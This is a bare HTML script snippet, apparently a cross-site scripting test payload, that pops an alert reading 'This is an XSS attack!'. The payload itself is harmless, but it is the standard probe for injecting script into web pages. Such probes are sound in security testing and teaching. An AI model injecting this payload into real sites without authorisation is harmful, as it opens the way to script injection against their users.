<script>
    alert('This is an XSS attack!');
</script>